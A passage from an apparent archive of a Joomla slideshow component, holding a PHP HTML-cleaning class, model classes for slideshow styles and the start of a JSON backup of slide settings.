				'/border=([^ >])*/i'
			), 
			array(
				'',
				''
			)
			, $t);
		$ar = explode(" ",$t);
		$nt = "";
		for ($i=0;$i<count($ar);$i++) {
			$ar[$i]=$this->fixStrToLower($ar[$i]);
			if (stristr($ar[$i],"=")) $ar[$i] = $this->fixQuotes($ar[$i]);	// thanks to emmanuel@evobilis.com
			//if (stristr($ar[$i],"=") && !stristr($ar[$i],"=\"")) $ar[$i] = $this->fixQuotes($ar[$i]);
			$nt.=$ar[$i]." ";
		}
		$nt=preg_replace("/<( )*/i","<",$nt);
		$nt=preg_replace("/( )*>/i",">",$nt);
		return trim($nt);
	}

	private function extractChars($tag1,$tag2,$tutto) { /*extract a block between $tag1 and $tag2*/
		if (!stristr($tutto, $tag1)) return '';
		$s=stristr($tutto,$tag1);
		$s=substr( $s,strlen($tag1));
		if (!stristr($s,$tag2)) return '';
		$s1=stristr($s,$tag2);
		return substr($s,0,strlen($s)-strlen($s1));
	}

	private function mergeStyleAttributes($s) {
		//
		// merge many style definitions in the same tag in just one attribute style
		//

		$x = "";
		$temp = "";
		$c = 0;
		while(stristr($s,"style=\"")) {
			$temp = $this->extractChars("style=\"","\"",$s);
			if ($temp=="") {
				// missing closing quote! add missing quote.
				return preg_replace("/(\/)?>/i","\"\\1>",$s);
			}
			if ($c==0) $s = str_replace("style=\"".$temp."\"","##PUTITHERE##",$s);
				$s = str_replace("style=\"".$temp."\"","",$s);
			if (!preg_match("/;$/i",$temp)) $temp.=";";
			$x.=$temp;
			$c++;
		}

		if (count($this->allowed_styles)>0) {
			// keep only allowed styles by Martin Vool 2010-04-19
			$check=explode(';', $x);
			$x="";
			foreach($check as $chk){
				foreach($this->allowed_styles as $as)
					if(stripos($chk, $as) !== False) { $x.=$chk.';'; break; } 
			}
		}

		if ($c>0) $s = str_replace("##PUTITHERE##","style=\"".$x."\"",$s);
		return $s;


	}

	private function fixAutoclosingTags($tag,$tipo=""){
		/*
			metodo richiamato da fix() per aggiustare i tag auto chiudenti (<br/> <img ... />)
		*/
		if (in_array( $tipo, array ("img","input","br","hr")) ) {
			if (!stristr($tag,'/>')) $tag = str_replace('>','/>',$tag );
		}
		return $tag;
	}

	private function getTypeOfTag($tag) {
		$tag = trim(preg_replace("/[\>\<\/]/i","",$tag));
		$a = explode(" ",$tag);
		return $a[0];
	}


	private function checkTree() {
		// return the number of errors found
		$errorsCounter = 0;
		for ($i=1;$i<count($this->matrix);$i++) {
			$flag=false;
			if ($this->matrix[$i]["tagType"]=="div") { //div cannot stay inside a p, b, etc.
				$parentType = $this->matrix[$this->matrix[$i]["parentTag"]]["tagType"];
				if (in_array($parentType, array("p","b","i","font","u","small","strong","em"))) $flag=true;
			}

			if (in_array( $this->matrix[$i]["tagType"], array( "b", "strong" )) ) { //b cannot stay inside b o strong.
				$parentType = $this->matrix[$this->matrix[$i]["parentTag"]]["tagType"];
				if (in_array($parentType, array("b","strong"))) $flag=true;
			}

			if (in_array( $this->matrix[$i]["tagType"], array ( "i", "em") )) { //i cannot stay inside i or em
				$parentType = $this->matrix[$this->matrix[$i]["parentTag"]]["tagType"];
				if (in_array($parentType, array("i","em"))) $flag=true;
			}

			if ($this->matrix[$i]["tagType"]=="p") {
				$parentType = $this->matrix[$this->matrix[$i]["parentTag"]]["tagType"];
				if (in_array($parentType, array("p","b","i","font","u","small","strong","em"))) $flag=true;
			}

			if ($this->matrix[$i]["tagType"]=="table") {
				$parentType = $this->matrix[$this->matrix[$i]["parentTag"]]["tagType"];
				if (in_array($parentType, array("p","b","i","font","u","small","strong","em","tr","table"))) $flag=true;
			}
			if ($flag) {
				$errorsCounter++;
				if ($this->debug) echo "<div style='color:#ff0000'>Found a <b>".$this->matrix[$i]["tagType"]."</b> tag inside a <b>".htmlspecialchars($parentType)."</b> tag at node $i: MOVED</div>";
				
				$swap = $this->matrix[$this->matrix[$i]["parentTag"]]["parentTag"];
				if ($this->debug) echo "<div style='color:#ff0000'>Every node that has parent ".$this->matrix[$i]["parentTag"]." will have parent ".$swap."</div>";
				$this->matrix[$this->matrix[$i]["parentTag"]]["tag"]="<!-- T A G \"".$this->matrix[$this->matrix[$i]["parentTag"]]["tagType"]."\" R E M O V E D -->";
				$this->matrix[$this->matrix[$i]["parentTag"]]["tagType"]="";
				$hoSpostato=0;
				for ($j=count($this->matrix)-1;$j>=$i;$j--) {
					if ($this->matrix[$j]["parentTag"]==$this->matrix[$i]["parentTag"]) {
						$this->matrix[$j]["parentTag"] = $swap;
						$hoSpostato=1;
					}
				}
			}

		}
		return $errorsCounter;

	}

	private function findSonsOf($parentTag) {
		// build correct html recursively
		$out= "";
		for ($i=1;$i<count($this->matrix);$i++) {
			if ($this->matrix[$i]["parentTag"]==$parentTag) {
				if ($this->matrix[$i]["tag"]!="") {
					$out.=$this->matrix[$i]["pre"];
					$out.=$this->matrix[$i]["tag"];
					$out.=$this->matrix[$i]["post"];
				} else {
					$out.=$this->matrix[$i]["pre"];
					$out.=$this->matrix[$i]["post"];
				}
				if ($this->matrix[$i]["tag"]!="") {
					$out.=$this->findSonsOf($i);
					if ($this->matrix[$i]["tagType"]!="") {
						//write the closing tag
						if (!in_array($this->matrix[$i]["tagType"], array ( "br","img","hr","input"))) 
							$out.="</". $this->matrix[$i]["tagType"].">";
					}
				}
			}
		}
		return $out;
	}

	private function findSonsOfDisplayCode($parentTag) {
		//used for debug
		$out= "";
		for ($i=1;$i<count($this->matrix);$i++) {
			if ($this->matrix[$i]["parentTag"]==$parentTag) {
				$out.= "<div style=\"padding-left:15\"><span style='float:left;background-color:#FFFF99;color:#000;'>{$i}:</span>";
				if ($this->matrix[$i]["tag"]!="") {
					if ($this->matrix[$i]["pre"]!="") $out.=htmlspecialchars($this->matrix[$i]["pre"])."<br>";
					$out.="".htmlspecialchars($this->matrix[$i]["tag"])."<span style='background-color:red; color:white'>{$i} <em>".$this->matrix[$i]["tagType"]."</em></span>";
					$out.=htmlspecialchars($this->matrix[$i]["post"]);
				} else {
					if ($this->matrix[$i]["pre"]!="") $out.=htmlspecialchars($this->matrix[$i]["pre"])."<br>";
					$out.=htmlspecialchars($this->matrix[$i]["post"]);
				}
				if ($this->matrix[$i]["tag"]!="") {
					$out.="<div>".$this->findSonsOfDisplayCode($i)."</div>\n";
					if ($this->matrix[$i]["tagType"]!="") {
						if (($this->matrix[$i]["tagType"]!="br") && ($this->matrix[$i]["tagType"]!="img") && ($this->matrix[$i]["tagType"]!="hr")&& ($this->matrix[$i]["tagType"]!="input"))
							$out.="<div style='color:red'>".htmlspecialchars("</". $this->matrix[$i]["tagType"].">")."{$i} <em>".$this->matrix[$i]["tagType"]."</em></div>";
					}
				}
				$out.="</div>\n";
			}
		}
		return $out;
	}

	private function removeSpacesAndBadTags($s) {
		$i=0;
		while ($i<10) {
			$i++;
			$s = preg_replace (
				array(
					'/[\r\n]/i',
					'/  /i',
					'/<p([^>])*>(&nbsp;)*\s*<\/p>/i',
					'/<span([^>])*>(&nbsp;)*\s*<\/span>/i',
					'/<strong([^>])*>(&nbsp;)*\s*<\/strong>/i',
					'/<em([^>])*>(&nbsp;)*\s*<\/em>/i',
					'/<font([^>])*>(&nbsp;)*\s*<\/font>/i',
					'/<small([^>])*>(&nbsp;)*\s*<\/small>/i',
					'/<\?xml:namespace([^>])*><\/\?xml:namespace>/i',
					'/<\?xml:namespace([^>])*\/>/i',
					'/class=\"MsoNormal\"/i',
					'/<o:p><\/o:p>/i',
					'/<!DOCTYPE([^>])*>/i',
					'/<!--(.|\s)*?-->/',
					'/<\?(.|\s)*?\?>/'
				), 
				array(
					' ',
					' ',
					'',
					'',
					'',
					'',
					'',
					'',
					'',
					'',
					'',
					' ',
					'',
					''
				)
				, trim($s));
		}
		return $s;
	}

	private function charByCharJob() {
		$s = $this->removeSpacesAndBadTags($this->dirtyhtml);
 		if ($s=="") {
			$this->fixedxhtml="";
			return;
		}
		$s = "<root>".$s."</root>";
		$contenuto = "";
		$ns = "";
		$i=0;
		$j=0;
		$indexparentTag=0;
		$padri=array();
		array_push($padri,"0");
		$this->matrix[$j]["tagType"]="";
		$this->matrix[$j]["tag"]="";
		$this->matrix[$j]["parentTag"]="0";
		$this->matrix[$j]["pre"]="";
		$this->matrix[$j]["post"]="";
		$tags=array();
		
		while($i<strlen($s)) {
			if ( $s[$i] =="<") {
				/*
					found a tag
				*/
				$contenuto = $ns;
				$ns = "";
				
				$tag="";
				while( $i<strlen($s) && $s[$i]!=">" ){
					// get chars till the end of a tag
					$tag.=$s[$i];
					$i++;
				}
				$tag.=$s[$i];
				
				if($s[$i]==">") {
					/*
						$tag contains a tag <...chars...>
						let's clean it!
					*/
					$tag = $this->fixTag($tag);
					$tagType = $this->getTypeOfTag($tag);
					$tag = $this->fixAutoclosingTags($tag,$tagType);
					$tag = $this->mergeStyleAttributes($tag);

					if (!isset($tags[$tagType])) $tags[$tagType]=0;
					$tagok=true;
					if (($tags[$tagType]==0)&&(stristr($tag,'/'.$tagType.'>'))) {
						$tagok=false;
						/* there is a close tag without any open tag, I delete it */
						if ($this->debug) echo "<div style='color:#ff0000'>Found a closing tag <b>".htmlspecialchars($tag)."</b> at char $i without open tag: REMOVED</div>";
					}
				}
				if ($tagok) {
					$j++;
					$this->matrix[$j]["pre"]="";
					$this->matrix[$j]["post"]="";
					$this->matrix[$j]["parentTag"]="";
					$this->matrix[$j]["tag"]="";
					$this->matrix[$j]["tagType"]="";
					if (stristr($tag,'/'.$tagType.'>')) {
						/*
							it's the closing tag
						*/
						$ind = array_pop($padri);
						$this->matrix[$j]["post"]=$contenuto;
						$this->matrix[$j]["parentTag"]=$ind;
						$tags[$tagType]--;
					} else {
						if (@preg_match("/".$tagType."\/>$/i",$tag)||preg_match("/\/>/i",$tag)) {
							/*
								it's a autoclosing tag
							*/
							$this->matrix[$j]["tagType"]=$tagType;
							$this->matrix[$j]["tag"]=$tag;
							$indexparentTag = array_pop($padri);
							array_push($padri,$indexparentTag);
							$this->matrix[$j]["parentTag"]=$indexparentTag;
							$this->matrix[$j]["pre"]=$contenuto;
							$this->matrix[$j]["post"]="";
						} else {
							/*
								it's a open tag
							*/
							$tags[$tagType]++;
							$this->matrix[$j]["tagType"]=$tagType;
							$this->matrix[$j]["tag"]=$tag;
							$indexparentTag = array_pop($padri);
							array_push($padri,$indexparentTag);
							array_push($padri,$j);
							$this->matrix[$j]["parentTag"]=$indexparentTag;
							$this->matrix[$j]["pre"]=$contenuto;
							$this->matrix[$j]["post"]="";
						}
					}
				}
			} else {
				/*
					content of the tag
				*/
				$ns.=$s[$i];
			}
			$i++;
		}
		/*
			remove not valid tags
		*/
		for ($eli=$j+1;$eli<count($this->matrix);$eli++) {
			$this->matrix[$eli]["pre"]="";
			$this->matrix[$eli]["post"]="";
			$this->matrix[$eli]["parentTag"]="";
			$this->matrix[$eli]["tag"]="";
			$this->matrix[$eli]["tagType"]="";
		}
		$errorsCounter = $this->checkTree();		// errorsCounter contains the number of removed tags
		$this->fixedxhtml=$this->findSonsOf(0);	// build html fixed
		if ($this->debug) {
			$this->fixedxhtmlDisplayCode=$this->findSonsOfDisplayCode(0);
			echo "<table border=1 cellspacing=0 cellpadding=0>";
			echo "<tr><th>node id</th>";
			echo "<th>pre</th>";
			echo "<th>tag</th>";
			echo "<th>post</th>";
			echo "<th>parentTag</th>";
			echo "<th>tipo</th></tr>";
			for ($k=0;$k<=$j;$k++) {
				echo "<tr><td>$k</td>";
				echo "<td>&nbsp;".htmlspecialchars($this->matrix[$k]["pre"])."</td>";
				echo "<td>&nbsp;".htmlspecialchars($this->matrix[$k]["tag"])."</td>";
				echo "<td>&nbsp;".htmlspecialchars($this->matrix[$k]["post"])."</td>";
				echo "<td>&nbsp;".$this->matrix[$k]["parentTag"]."</td>";
				echo "<td>&nbsp;<i>".$this->matrix[$k]["tagType"]."</i></td></tr>";
			}
			echo "</table>";
			echo "<hr/>{$j}<hr/>\n\n\n\n".$this->fixedxhtmlDisplayCode;
		}
		return $errorsCounter;
	}
}com_slideshowck/helpers/ckmodel.php000060400000006557152455305260013532 0ustar00<?php
Namespace Slideshowck;

defined('CK_LOADED') or die;

use \Slideshowck\CKFof;

class CKModel {

	var $_item = null;

	private static $instance;

	protected $input;

	protected $table;

	protected $__state_set = null;

	protected $state;

	protected $pagination;

	function __construct() {
		$this->input = CKFof::getInput();
		$this->state = new \Joomla\CMS\Object\CMSObject;
	}

	static function getInstance($name, $prefix, $config) {

		if (is_object(self::$instance))
		{
			return self::$instance;
		}

		$basePath = SLIDESHOWCK_PATH;
		// Check for a controller.task command.
		$input = CKFof::getInput();

		// Define the controller filename and path.
		$file       = strtolower($name . '.php');
		$path       = $basePath . '/models/' . $file;

		// Get the controller class name.
		$class = ucfirst($prefix) . 'Model' . ucfirst($name);

		// Include the class if not present.
		if (!class_exists($class))
		{
			// If the controller file path exists, include it.
			if (file_exists($path))
			{
				require_once $path;
			}
			else
			{
//				throw new \InvalidArgumentException(\Joomla\CMS\Language\Text::sprintf('ERROR_INVALID_MODEL', $type, $format));
			
				return false;
			}
		}

		// Instantiate the class.
		if (!class_exists($class))
		{
			throw new \InvalidArgumentException(\Joomla\CMS\Language\Text::sprintf('ERROR_INVALID_MODEL_CLASS', $class));
		}

		// Instantiate the class, store it to the static container, and return it
		return self::$instance = new $class();
	}

	public function save($data) {

	}

	public function delete($id) {
		return CKFof::dbDelete( $this->table, (int)$id );
	}

	public function setState($property, $value = null)
	{
		return $this->state->set($property, $value);
	}

	public function getState($property = null, $default = null)
	{
		if (!$this->__state_set)
		{
			// Protected method to auto-populate the model state.
			$this->populateState();

			// Set the model state set flag to true.
			$this->__state_set = true;
		}

		return $property === null ? $this->state : $this->state->get($property, $default);
	}

	protected function populateState()
	{
		$this->state->set('filter_order', $this->input->get('filter_order', 'a.id'));
		$this->state->set('filter_order_Dir', $this->input->get('filter_order_Dir', 'asc'));
		$this->state->set('filter_search', $this->input->get('filter_search', ''));
		$this->state->set('limitstart', $this->input->get('limitstart', 0));
		$this->state->set('limit_total', $this->input->get('limittotal', 0));
		$this->state->set('limit', $this->input->get('limit', 20));
	}

	public function getPagination($total = null, $start = null, $limit = null)
	{
		if (!$this->pagination)
		{
			$total = $this->state->get('limit_total', $total);
//			$total = $this->getTotal();
			$start = $this->state->get('limitstart', $start);
			$limit = $this->state->get('limit', $limit);

			$this->pagination = new \Joomla\CMS\Pagination\Pagination($total, $start, $limit);
		}

		return $this->pagination;
	}

	public function getTotal($query) {
		$db = CKFof::getDbo();
		$query = clone $query;
		$query->clear('select')->clear('order')->clear('limit')->clear('offset')->select('COUNT(*)');
		$db->setQuery($query);

		return (int) $db->loadResult();
	}

	public function copy($id) {
		$row = CKFof::dbLoad($this->table, (int)$id);
		$row->id = 0;
		$row->name = $row->name . ' - copy';

		$newid = CKFof::dbStore($this->table, $row);

		return $newid;
	}
}com_slideshowck/models/styles.php000060400000003345152455305260013250 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

defined('_JEXEC') or die;

use Slideshowck\CKModel;
use Slideshowck\CKFof;

class SlideshowckModelStyles extends CKModel {

	protected $context = 'slideshowck.styles';

	public function __construct($config = array()) {

		parent::__construct($config);
	}

	public function getItems() {
		// Create a new query object.
		$db = CKFof::getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select('a.*');
		$query->from('`#__slideshowck_styles` AS a');

		// Filter by search in title
		$search = $this->getState('filter_search');
		if (!empty($search)) {
			if (stripos($search, 'id:') === 0) {
				$query->where('a.id = ' . (int) substr($search, 3));
			} else {
				$search = $db->Quote('%' .$search . '%');
				$query->where('(' . 'a.name LIKE ' . $search . ' )');
			}
		}

		// Do not list the trashed items
		$query->where('a.state > -1');

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering');
		$orderDirn = $this->state->get('list.direction');
		if ($orderCol && $orderDirn) {
			$query->order($orderCol . ' ' . $orderDirn);
		}

		$limitstart = $this->state->get('limitstart');
		$limit = $this->state->get('limit');
		$db->setQuery($query, $limitstart, $limit);

		$items = $db->loadObjectList();

		// automatically get the total number of items from the query
		$total = $this->getTotal($query);
		$this->state->set('limit_total', (empty($total) ? 0 : (int)$total));

		return $items;
	}
}
com_slideshowck/models/style.php000060400000001526152455305260013064 0ustar00<?php
/**
 * @name		Slider CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2016. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - http://www.template-creator.com - http://www.joomlack.fr
 */

// No direct access.
defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Slideshowck\CKModel;
use Slideshowck\CKFof;


class SlideshowckModelStyle extends CKModel {

	protected $table = '#__slideshowck_styles';

	var $item = null;

	function __construct() {
		parent::__construct();
	}

	public function save($row) {
		$id = CKFof::dbStore($this->table, $row);

		return $id;
	}

	public function getItem() {
		if (empty($this->item)) {
			$id = $this->input->get('id', 0, 'int');
			$this->item = CKFof::dbLoad($this->table, $id);
		}

		return $this->item;
	}

}com_slideshowck/backup/backup_137_01-02-2021-13-27-15.ssck000060400000025001152455305260015706 0ustar00{"slidesssource":"slidesmanager","slides":"[{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/01-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/01-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/02-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/02-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/05-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/05-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|_parent|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/06-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/06-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/07-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/07-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/09-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/09-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/12-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/12-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/15-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/15-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/17-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/17-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/18-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/18-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/19-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/19-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/20-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/20-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/21-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/21-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/22-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/22-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|},{|qq|imgname|qq|:|qq|images\/sampledata\/cirque_brousse\/23-20160518-cirque_brousse.jpg|qq|,|qq|imgcaption|qq|:|qq||qq|,|qq|imgtitle|qq|:|qq||qq|,|qq|imgthumb|qq|:|qq|http:\/\/www.association3sur12.net\/images\/sampledata\/cirque_brousse\/23-20160518-cirque_brousse.jpg|qq|,|qq|imglink|qq|:|qq||qq|,|qq|imgtarget|qq|:|qq|default|qq|,|qq|imgalignment|qq|:|qq|default|qq|,|qq|imgvideo|qq|:|qq||qq|,|qq|slidearticleid|qq|:|qq||qq|,|qq|slidearticlename|qq|:|qq||qq|,|qq|imgtime|qq|:|qq||qq|,|qq|state|qq|:|qq|1|qq|,|qq|startdate|qq|:|qq||qq|,|qq|enddate|qq|:|qq||qq|}]","theme":"default","skin":"camera_amber_skin","alignment":"center","loader":"pie","width":"100%","height":"62%","minheight":"150","navigation":"0","thumbnails":"0","thumbnailwidth":"100","thumbnailheight":"75","pagination":"0","effect":["random"],"time":"5000","transperiod":"1000","captioneffect":"moveFromLeft","portrait":"1","autoAdvance":"1","hover":"0","displayorder":"normal","limitslides":"","fullpage":"0","imagetarget":"_parent","container":"","usemobileimage":"0","mobileimageresolution":"640","loadjquery":"1","loadjqueryeasing":"1","autocreatethumbs":"0","layout":"_:default","moduleclass_sfx":"","cache":"1","cache_time":"900","cachemode":"itemid","articlelength":"150","articlelink":"readmore","articletitle":"h3","showarticletitle"